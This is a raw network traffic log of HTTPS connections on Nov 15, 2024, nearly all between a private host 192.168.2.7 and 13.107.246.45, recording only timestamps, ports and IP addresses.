Nov 15, 2024 13:18:39.945625067 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.946104050 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.946110964 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.073508024 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.073589087 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.073777914 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.073896885 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.073924065 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.073941946 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.073951006 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.077285051 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.077311039 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.077367067 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.077563047 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.077574015 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.130676031 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.131292105 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.131330967 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.131819010 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.131827116 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.261049986 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.261126041 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.261188030 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.261455059 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.261473894 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.261488914 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.261495113 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.264971972 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.265002012 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.265474081 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.265846014 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.265858889 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.603708982 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.604299068 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.604320049 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.604732037 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.605540991 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.605545998 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.609921932 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.609954119 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.611336946 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.611342907 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.652452946 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.705008030 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.709952116 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.709965944 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.710733891 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.710741043 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.735786915 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.735862970 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.735907078 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.737956047 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.737956047 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.737977028 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.737987995 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.738826036 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.738905907 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.738960981 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.738975048 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.739088058 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.739115953 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.739135981 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.739135981 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.739145994 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.739156008 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.751946926 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.751997948 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.752060890 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.760714054 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.760746002 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.760886908 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.760904074 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.760917902 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.761002064 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.761009932 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.820363998 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.835278034 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.835335970 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.835406065 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.835412979 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.835464954 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.837713957 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.837734938 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.838274956 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.838282108 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.856630087 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.856661081 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.856674910 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.856681108 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.865415096 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.865467072 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.865544081 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.865794897 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.865808010 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.965528011 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.965615034 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.965691090 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.998096943 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:40.998123884 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:40.998230934 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.022680998 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.022706985 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.023325920 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.023333073 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.148931980 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.149014950 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.149224997 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.321621895 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.321647882 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.321659088 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.321664095 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.498404026 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.502299070 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.518383026 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.518421888 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.518498898 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.521411896 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.521466017 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.522128105 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.522134066 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.522515059 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.522548914 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.522908926 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.522913933 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.538357973 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.538379908 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.548093081 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.548139095 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.548198938 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.548432112 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.548443079 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.598118067 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.600377083 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.600425005 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.601238966 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.601244926 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.648639917 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.648677111 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.648725033 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.648745060 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.648758888 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.648832083 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.649032116 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.649040937 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.649049997 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.649054050 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.649600029 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.649781942 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.649857998 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.649924994 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.649969101 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.649995089 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.650010109 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.653194904 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.653254032 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.653419018 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.654073954 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.654118061 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.654176950 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.654341936 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.654366970 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.659214973 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.659245968 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.737056017 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.737222910 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.737293959 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.737921000 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.737921000 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.737961054 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.737986088 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.743516922 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.743571043 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:41.743642092 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.743787050 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:41.743804932 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.266025066 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.266901016 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.266937017 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.267741919 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.267752886 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.349474907 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.350123882 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.350158930 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.350625038 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.350641012 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.390868902 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.391619921 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.391654968 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.392138958 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.392231941 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.392239094 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.392441988 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.392503977 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.392582893 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.392604113 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.392626047 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.392631054 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.395561934 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.395951986 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.395975113 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.396178007 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.396210909 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.396265030 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.396384001 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.396392107 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.396526098 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.396538973 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.471261024 CET	443	49741	104.98.116.138	192.168.2.7
Nov 15, 2024 13:18:42.471338987 CET	49741	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:42.474175930 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.474822044 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.474868059 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.475330114 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.475343943 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.479943037 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.480010033 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.480108023 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.480680943 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.480695963 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.480706930 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.480714083 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.485033035 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.485061884 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.485244036 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.485477924 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.485486031 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.519176960 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.519381046 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.519455910 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.519643068 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.519674063 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.519690990 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.519700050 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.523461103 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.523554087 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.523673058 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.523972988 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.524014950 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.527426958 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.527498007 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.527615070 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.527689934 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.527726889 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.527754068 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.527784109 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.527798891 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.531120062 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.531160116 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.531233072 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.531603098 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.531631947 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.603852034 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.603924990 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.604060888 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.604209900 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.604221106 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.604259014 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.604265928 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.610373020 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.610423088 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.610573053 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.610729933 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.610745907 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.856746912 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.856801987 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.856865883 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.857112885 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.857130051 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.858146906 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.858159065 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:42.858206987 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.858428001 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:42.858444929 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.100491047 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:43.100554943 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:43.100852966 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:43.101069927 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:43.101085901 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:43.133851051 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.134459019 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.134501934 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.135049105 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.135055065 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.213628054 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.214818001 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.214845896 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.215511084 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.215517998 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.263590097 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.264712095 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.264753103 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.264751911 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.265091896 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.265151978 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.265260935 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.265278101 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.265434027 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.265440941 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.268461943 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.268496990 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.268695116 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.268913031 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.268923998 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.344162941 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.344199896 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.344258070 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.344283104 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.344335079 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.344609022 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.344624996 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.344635963 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.344641924 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.348090887 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.348154068 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.348252058 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.348470926 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.348486900 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.350960970 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.351490021 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.351572037 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.351974010 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.351989985 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.392483950 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.392568111 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.392714024 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.392863989 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.392888069 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.392901897 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.392910004 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.396647930 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.396686077 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.396774054 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.396984100 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.396998882 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.481080055 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.485835075 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.485913038 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.485969067 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.487072945 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.487102032 CET	443	49843	13.107.246.45	192.168.2.7
